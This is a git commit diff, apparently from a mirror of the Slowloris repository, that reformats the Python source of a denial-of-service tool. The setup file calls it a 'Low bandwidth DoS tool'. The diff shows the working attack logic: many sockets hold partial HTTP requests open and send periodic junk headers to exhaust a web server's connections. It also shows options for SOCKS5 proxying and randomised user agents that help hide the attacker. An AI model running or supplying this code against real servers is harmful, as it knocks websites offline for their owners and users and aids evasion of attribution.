mirror of https://github.com/Askill/slowloris.git
Auto-format code
This commit is contained in:
parent
79dd88af7d
commit
eb7f632b38
19
setup.py
19
setup.py
|
|
@ -1,12 +1,13 @@
|
||||||
from distutils.core import setup
|
from distutils.core import setup
|
||||||
|
|
||||||
setup(
|
setup(
|
||||||
name = "Slowloris",
|
name="Slowloris",
|
||||||
py_modules = ["slowloris"],
|
py_modules=["slowloris"],
|
||||||
entry_points = {"console_scripts": ["slowloris=slowloris:main"]},
|
entry_points={"console_scripts": ["slowloris=slowloris:main"]},
|
||||||
version = "0.2.0",
|
version="0.2.0",
|
||||||
description = "Low bandwidth DoS tool. Slowloris rewrite in Python.",
|
description="Low bandwidth DoS tool. Slowloris rewrite in Python.",
|
||||||
author = "Gokberk Yaltirakli",
|
author="Gokberk Yaltirakli",
|
||||||
author_email = "webdosusb@gmail.com",
|
author_email="webdosusb@gmail.com",
|
||||||
url = "https://github.com/gkbrk/slowloris",
|
url="https://github.com/gkbrk/slowloris",
|
||||||
keywords = ["dos", "http", "slowloris"]
|
keywords=["dos", "http", "slowloris"],
|
||||||
)
|
)
|
||||||
|
|
|
||||||
78
slowloris.py
78
slowloris.py
|
|
@ -6,17 +6,49 @@ import socket
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(description="Slowloris, low bandwidth stress test tool for websites")
|
parser = argparse.ArgumentParser(
|
||||||
parser.add_argument('host', nargs="?", help="Host to perform stress test on")
|
description="Slowloris, low bandwidth stress test tool for websites"
|
||||||
parser.add_argument('-p', '--port', default=80, help="Port of webserver, usually 80", type=int)
|
)
|
||||||
parser.add_argument('-s', '--sockets', default=150, help="Number of sockets to use in the test", type=int)
|
parser.add_argument("host", nargs="?", help="Host to perform stress test on")
|
||||||
parser.add_argument('-v', '--verbose', dest="verbose", action="store_true", help="Increases logging")
|
parser.add_argument(
|
||||||
parser.add_argument('-ua', '--randuseragents', dest="randuseragent", action="store_true", help="Randomizes user-agents with each request")
|
"-p", "--port", default=80, help="Port of webserver, usually 80", type=int
|
||||||
parser.add_argument('-x', '--useproxy', dest="useproxy", action="store_true", help="Use a SOCKS5 proxy for connecting")
|
)
|
||||||
parser.add_argument('--proxy-host', default="127.0.0.1", help="SOCKS5 proxy host")
|
parser.add_argument(
|
||||||
parser.add_argument('--proxy-port', default="8080", help="SOCKS5 proxy port", type=int)
|
"-s",
|
||||||
parser.add_argument("--https", dest="https", action="store_true", help="Use HTTPS for the requests")
|
"--sockets",
|
||||||
parser.add_argument("--sleeptime", dest="sleeptime", default=15, type=int, help="Time to sleep between each header sent.")
|
default=150,
|
||||||
|
help="Number of sockets to use in the test",
|
||||||
|
type=int,
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"-v", "--verbose", dest="verbose", action="store_true", help="Increases logging"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"-ua",
|
||||||
|
"--randuseragents",
|
||||||
|
dest="randuseragent",
|
||||||
|
action="store_true",
|
||||||
|
help="Randomizes user-agents with each request",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"-x",
|
||||||
|
"--useproxy",
|
||||||
|
dest="useproxy",
|
||||||
|
action="store_true",
|
||||||
|
help="Use a SOCKS5 proxy for connecting",
|
||||||
|
)
|
||||||
|
parser.add_argument("--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host")
|
||||||
|
parser.add_argument("--proxy-port", default="8080", help="SOCKS5 proxy port", type=int)
|
||||||
|
parser.add_argument(
|
||||||
|
"--https", dest="https", action="store_true", help="Use HTTPS for the requests"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--sleeptime",
|
||||||
|
dest="sleeptime",
|
||||||
|
default=15,
|
||||||
|
type=int,
|
||||||
|
help="Time to sleep between each header sent.",
|
||||||
|
)
|
||||||
parser.set_defaults(verbose=False)
|
parser.set_defaults(verbose=False)
|
||||||
parser.set_defaults(randuseragent=False)
|
parser.set_defaults(randuseragent=False)
|
||||||
parser.set_defaults(useproxy=False)
|
parser.set_defaults(useproxy=False)
|
||||||
|
|
@ -38,6 +70,7 @@ if args.useproxy:
|
||||||
# the proxy by default
|
# the proxy by default
|
||||||
try:
|
try:
|
||||||
import socks
|
import socks
|
||||||
|
|
||||||
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
|
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
|
||||||
socket.socket = socks.socksocket
|
socket.socket = socks.socksocket
|
||||||
logging.info("Using SOCKS5 proxy for connecting...")
|
logging.info("Using SOCKS5 proxy for connecting...")
|
||||||
|
|
@ -45,9 +78,17 @@ if args.useproxy:
|
||||||
logging.error("Socks Proxy Library Not Available!")
|
logging.error("Socks Proxy Library Not Available!")
|
||||||
|
|
||||||
if args.verbose:
|
if args.verbose:
|
||||||
logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
|
logging.basicConfig(
|
||||||
|
format="[%(asctime)s] %(message)s",
|
||||||
|
datefmt="%d-%m-%Y %H:%M:%S",
|
||||||
|
level=logging.DEBUG,
|
||||||
|
)
|
||||||
else:
|
else:
|
||||||
logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)
|
logging.basicConfig(
|
||||||
|
format="[%(asctime)s] %(message)s",
|
||||||
|
datefmt="%d-%m-%Y %H:%M:%S",
|
||||||
|
level=logging.INFO,
|
||||||
|
)
|
||||||
|
|
||||||
if args.https:
|
if args.https:
|
||||||
logging.info("Importing ssl module")
|
logging.info("Importing ssl module")
|
||||||
|
|
@ -82,6 +123,7 @@ user_agents = [
|
||||||
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
|
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|
||||||
def init_socket(ip):
|
def init_socket(ip):
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
s.settimeout(4)
|
s.settimeout(4)
|
||||||
|
|
@ -98,6 +140,7 @@ def init_socket(ip):
|
||||||
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
|
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
|
||||||
return s
|
return s
|
||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
ip = args.host
|
ip = args.host
|
||||||
socket_count = args.sockets
|
socket_count = args.sockets
|
||||||
|
|
@ -115,10 +158,14 @@ def main():
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
|
logging.info(
|
||||||
|
"Sending keep-alive headers... Socket count: %s", len(list_of_sockets)
|
||||||
|
)
|
||||||
for s in list(list_of_sockets):
|
for s in list(list_of_sockets):
|
||||||
try:
|
try:
|
||||||
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
|
s.send(
|
||||||
|
"X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8")
|
||||||
|
)
|
||||||
except socket.error:
|
except socket.error:
|
||||||
list_of_sockets.remove(s)
|
list_of_sockets.remove(s)
|
||||||
|
|
||||||
|
|
@ -138,5 +185,6 @@ def main():
|
||||||
logging.info("Stopping Slowloris")
|
logging.info("Stopping Slowloris")
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
main()
|
main()
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue